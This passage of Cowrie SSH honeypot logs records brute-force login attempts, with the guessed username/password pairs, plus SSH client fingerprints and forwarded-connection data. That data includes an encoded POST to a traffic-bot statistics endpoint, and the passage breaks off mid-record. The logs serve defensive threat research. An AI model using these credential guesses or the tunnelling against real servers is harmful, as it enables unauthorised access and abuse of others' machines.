{"eventid":"cowrie.login.failed","username":"web","password":"web","message":"login attempt [web/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:41.866175Z","src_ip":"45.153.34.195","session":"ca4d7111f437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:43.012987Z","src_ip":"45.153.34.195","session":"ca4d7111f437","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:43.069155Z","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:43.134117Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KVV4QnhmNDVIc1Z1PyZwZA%3D%3DAuu65HzrLRC5SIIPcNNVxedvm%2BZhCA%2FluyiTrtEI8kRtSFEfexDWwgVQoGNjkNKxDh0HqrdSxL%2B4exEuN1nSwhUlVBEpIXmEMvrJEoMdEdt%2BpHmXnIhRBE3ldTM9kx3hh3B4MC6Kp%2BihoA8hwn2%2F3e5OUdYHLIyk2TtZe3d3QQfIWfzPUMlgFHmmAruG0IYyubTrhEHDoRdoUWrQ%2F%2FkM4iXceJV0h7Ki%2F232d531iLzrz0EK48BKLGikC35zABZ5bbFlegpqi%2FlT%2BOQTL4Lqm%2BjmV9KeNfembr0GcumGf0m2AIpEWSUxYzN%2ByGIw%2FobQFdS6mnJpWdKxMT9BcVv8qr1PnCXUVtDMcgZHObusNy6%2BjWkiGCR%2FruPtm4rBAGQDhUSL2AvmvBRS8TI2IPXz6c3nyu0O5jC%2F205DT%2Fe9t%2BLqffQKOAFh%2FcibanaZmCUWA3qRH4rkXGetzCBEi2ooh86IqkqPZBO35BomdVfpeQY1yF8S3o%2FArAy3VPsi%2BGJ5c%2Bi05B%2FSjNGI2%2BwA7R8YPqL0aNCNMA5XTGM2xOIADplIwg%2FioYn%2B7zpIz%2FKKca7ZMBPRqUl4W9fTKfNqKNOaxF%2FDYop921jK%2B3d2rgUWIl8aFrNg2NGQiPc8axPAg%2BgT04ftjRiS6Mr3EcaE3THxtCHm5AuC7orr6l3O8%2Fy1NnZs3VYPihzfmxhPMCuHL2%2FLzNR3xvxMFirUdA6oj2ju8nXxhEUSEbu1wjLXHfo%2B%2B0vfqTxu2uvaURloS6mdY6SdUnlEciAnBptjj5IQQogBxXsq6JE1qVIxUWxwTJ%2Fg%2BnI5uvf2C1ZIDu6XcT25KsfTwjo3zEY4VyWGIKgBqedarY68EODAxIwBPL0%2BGUkfgeJNZS7pq%2Fn2HqZ%2FDB2y68w7yFP7YQ2dOrC%2FvXgZ2D3m6EW7Fkf2J4Brb8Xj4jIEbHdubCoI0jrAN422XmvG0B3ni15E0LgSuZqW2KuxTVWgVYncH%2BciaEQn7YHosUdhB1756OL0SHN8xKp7GrbprFPHsrdgMac9j9aJjXrajWYr88EpReYQeOqxh3t%2B4txvbXq5iHTN%2BHDvMFHFj8CRD5lz'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KVV4QnhmNDVIc1Z1PyZwZA%3D%3DAuu65HzrLRC5SIIPcNNVxedvm%2BZhCA%2FluyiTrtEI8kRtSFEfexDWwgVQoGNjkNKxDh0HqrdSxL%2B4exEuN1nSwhUlVBEpIXmEMvrJEoMdEdt%2BpHmXnIhRBE3ldTM9kx3hh3B4MC6Kp%2BihoA8hwn2%2F3e5OUdYHLIyk2TtZe3d3QQfIWfzPUMlgFHmmAruG0IYyubTrhEHDoRdoUWrQ%2F%2FkM4iXceJV0h7Ki%2F232d531iLzrz0EK48BKLGikC35zABZ5bbFlegpqi%2FlT%2BOQTL4Lqm%2BjmV9KeNfembr0GcumGf0m2AIpEWSUxYzN%2ByGIw%2FobQFdS6mnJpWdKxMT9BcVv8qr1PnCXUVtDMcgZHObusNy6%2BjWkiGCR%2FruPtm4rBAGQDhUSL2AvmvBRS8TI2IPXz6c3nyu0O5jC%2F205DT%2Fe9t%2BLqffQKOAFh%2FcibanaZmCUWA3qRH4rkXGetzCBEi2ooh86IqkqPZBO35BomdVfpeQY1yF8S3o%2FArAy3VPsi%2BGJ5c%2Bi05B%2FSjNGI2%2BwA7R8YPqL0aNCNMA5XTGM2xOIADplIwg%2FioYn%2B7zpIz%2FKKca7ZMBPRqUl4W9fTKfNqKNOaxF%2FDYop921jK%2B3d2rgUWIl8aFrNg2NGQiPc8axPAg%2BgT04ftjRiS6Mr3EcaE3THxtCHm5AuC7orr6l3O8%2Fy1NnZs3VYPihzfmxhPMCuHL2%2FLzNR3xvxMFirUdA6oj2ju8nXxhEUSEbu1wjLXHfo%2B%2B0vfqTxu2uvaURloS6mdY6SdUnlEciAnBptjj5IQQogBxXsq6JE1qVIxUWxwTJ%2Fg%2BnI5uvf2C1ZIDu6XcT25KsfTwjo3zEY4VyWGIKgBqedarY68EODAxIwBPL0%2BGUkfgeJNZS7pq%2Fn2HqZ%2FDB2y68w7yFP7YQ2dOrC%2FvXgZ2D3m6EW7Fkf2J4Brb8Xj4jIEbHdubCoI0jrAN422XmvG0B3ni15E0LgSuZqW2KuxTVWgVYncH%2BciaEQn7YHosUdhB1756OL0SHN8xKp7GrbprFPHsrdgMac9j9aJjXrajWYr88EpReYQeOqxh3t%2B4txvbXq5iHTN%2BHDvMFHFj8CRD5lz'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:43.136897Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":19684,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b455086ff8f","protocol":"ssh","message":"New connection: 45.153.34.195:19684 (10.17.0.5:22) [session: 4b455086ff8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:44.132212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:44.141154Z","src_ip":"45.153.34.195","session":"4b455086ff8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:44.227468Z","src_ip":"45.153.34.195","session":"4b455086ff8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:44.521971Z","src_ip":"91.92.40.36","session":"240e09129181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211..","message":"login attempt [root/Aa112211..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:44.777208Z","src_ip":"45.153.34.195","session":"4b455086ff8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:45.749559Z","src_ip":"91.92.40.36","session":"240e09129181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:45.860271Z","src_ip":"45.153.34.195","session":"4b455086ff8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":51790,"dst_ip":"159.203.135.109","dst_port":22,"session":"867fa2d7cd85","protocol":"ssh","message":"New connection: 46.19.67.181:51790 (159.203.135.109:22) [session: 867fa2d7cd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:46.660034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:46.663829Z","src_ip":"46.19.67.181","session":"867fa2d7cd85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:46.776373Z","src_ip":"46.19.67.181","session":"867fa2d7cd85","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:46.892713Z","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":19714,"dst_ip":"10.17.0.5","dst_port":22,"session":"c41dc3d1ffee","protocol":"ssh","message":"New connection: 45.153.34.195:19714 (10.17.0.5:22) [session: c41dc3d1ffee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:47.045582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:47.049296Z","src_ip":"45.153.34.195","session":"c41dc3d1ffee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"buhgalter","message":"login attempt [root/buhgalter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:47.118862Z","src_ip":"46.19.67.181","session":"867fa2d7cd85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:47.142903Z","src_ip":"45.153.34.195","session":"c41dc3d1ffee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:47.463882Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03a\\xae\\x1b\\x0f-\\xbcN\\xc0\\xf7\\xec\\x88>\\xd5n\\xe2f\\x9c\\xd1&\\x8d\\xedO\\x02\\xea\\xe4n}[\\xbcjb\\x9b lJ\\xe1\\x8d\\xab\\xeb8\\xc7\\xa0z>z\\xd7v\\x90^O:\\xe5t\\xf9\\xa2\\nX\\x1b\\x11\\xd5AD\\xee`P\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd8\\xa0\\x8fA\\x07]\\xab\\xa8w\\xc1\\x0c\\x8c\\x92q\\xd4`\\xf6\\x81J\\x0f\\xcc\\xe9\\xc14\\x9d^\\x0eV\\x9d\\x1e\\x04M\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03a\\xae\\x1b\\x0f-\\xbcN\\xc0\\xf7\\xec\\x88>\\xd5n\\xe2f\\x9c\\xd1&\\x8d\\xedO\\x02\\xea\\xe4n}[\\xbcjb\\x9b lJ\\xe1\\x8d\\xab\\xeb8\\xc7\\xa0z>z\\xd7v\\x90^O:\\xe5t\\xf9\\xa2\\nX\\x1b\\x11\\xd5AD\\xee`P\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd8\\xa0\\x8fA\\x07]\\xab\\xa8w\\xc1\\x0c\\x8c\\x92q\\xd4`\\xf6\\x81J\\x0f\\xcc\\xe9\\xc14\\x9d^\\x0eV\\x9d\\x1e\\x04M\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:47.467312Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"secretpass","message":"login attempt [root/secretpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:47.622340Z","src_ip":"45.153.34.195","session":"c41dc3d1ffee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:48.232979Z","src_ip":"46.19.67.181","session":"867fa2d7cd85","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:48.682101Z","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:48.687237Z","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:48.744107Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc7\\x82J$\\xa7I4o2\\x83\\xb5C\\xfe\\xddh\\xec\\x80p\\xff8)\\xf4\\xe5\\xed \\x16\\x08\\xe7\\x96S\\xfd\\xcf 